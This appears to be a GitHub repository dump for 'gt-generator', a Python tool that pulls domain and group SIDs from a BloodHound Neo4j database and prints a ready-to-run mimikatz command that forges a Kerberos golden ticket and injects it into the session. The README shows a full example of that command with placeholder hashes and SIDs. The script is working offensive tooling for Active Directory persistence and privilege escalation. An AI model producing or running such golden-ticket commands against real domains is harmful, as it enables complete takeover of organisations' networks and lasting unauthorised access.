├── .gitignore ├── README.md ├── gt-generator.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gt-generator 2 | 3 | Use BloodHound data to generate golden ticket commands without having to do all of those SID lookups! 4 | 5 | ##### Warning 6 | 7 | This currently does not take into account foreign group memberships. 8 | 9 | ## Usage 10 | 11 | ```bash 12 | $ python3 -m venv venv 13 | $ . venv/bin/activate 14 | $ pip install -r requirements.txt 15 | $ python gt-generator.py -s -u -p 16 | ``` 17 | 18 | #### Example 19 | ```bash 20 | $ python gt-generator.py -s 127.0.0.1:7474 -u neo4j -p neo4j testlab.local administrator 1111222233334444555566667777888899990000aaaabbbbccccddddeeeeffff 21 | 22 | mimikatz kerberos::golden /user:ADMINISTRATOR /aes256:1111222233334444555566667777888899990000aaaabbbbccccddddeeeeffff /domain:TESTLAB.LOCAL /sid:S-1-5-21-1111111111-222222222-3333333333 /groups:513,512,518,519,520 /id:500 /endin:480 /renewmax:10080 /ptt 23 | ``` 24 | -------------------------------------------------------------------------------- /gt-generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import argparse 3 | 4 | from neo4jrestclient.client import GraphDatabase 5 | from neo4jrestclient import client 6 | 7 | 8 | def get_domain_sid(db, domain): 9 | domain_sid = None 10 | 11 | q = 'MATCH (d:Domain {{name: "{}"}}) return d.objectid'.format(domain) 12 | results = db.query(q) 13 | 14 | if len(results) > 1: 15 | print("An error occurred") 16 | else: 17 | domain_sid = results[0][0] 18 | 19 | return domain_sid 20 | 21 | 22 | def get_user_groups(db, user, domain): 23 | user_sid = None 24 | group_sids = [] 25 | 26 | q = 'MATCH (u:User {{name: "{}@{}"}}), (g:Group) MATCH (u)-[r:MemberOf*]->(g) return DISTINCT u.objectid, g.objectid'.format(user, domain) 27 | results = db.query(q, returns=(str, str)) 28 | 29 | for r in results: 30 | user_sid = r[0] 31 | group_sids.append(r[1]) 32 | 33 | return (user_sid, group_sids) 34 | 35 | 36 | def get_database_connection(server, username, password): 37 | return GraphDatabase("http://{}".format(server), username=username, password=password) 38 | 39 | 40 | def main(): 41 | parser = argparse.ArgumentParser() 42 | 43 | parser.add_argument("-s", "--server", help="Address for the Neo4J database", default="127.0.0.1:7474") 44 | parser.add_argument("-u", "--username", help="Neo4J Username", default="neo4j") 45 | parser.add_argument("-p", "--password", help="Neo4J Password", default="neo4j") 46 | parser.add_argument("domain", help="Golden Ticket Domain") 47 | parser.add_argument("user", help="Golden Ticket Username") 48 | parser.add_argument("krbtgt", help="AES256 Hash for krbtgt account") 49 | 50 | args = parser.parse_args() 51 | domain_user = args.user.upper() 52 | domain_name = args.domain.upper() 53 | 54 | db = get_database_connection(args.server, args.username, args.password) 55 | 56 | domain_sid = get_domain_sid(db, domain_name) 57 | user_sid, group_sids = get_user_groups(db, domain_user, domain_name) 58 | 59 | groups = [] 60 | for sid in group_sids: 61 | if domain_sid in sid: 62 | groups.append(sid.split('-')[-1]) 63 | 64 | user_sid = user_sid.split('-')[-1] 65 | 66 | print("mimikatz kerberos::golden /user:{} /aes256:{} /domain:{} /sid:{} /groups:{} /id:{} /endin:480 /renewmax:10080 /ptt".format(domain_user, args.krbtgt, domain_name, domain_sid, ",".join(groups), user_sid)) 67 | 68 | 69 | if __name__ == "__main__": 70 | main() 71 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | neo4jrestclient==2.1.1 2 | --------------------------------------------------------------------------------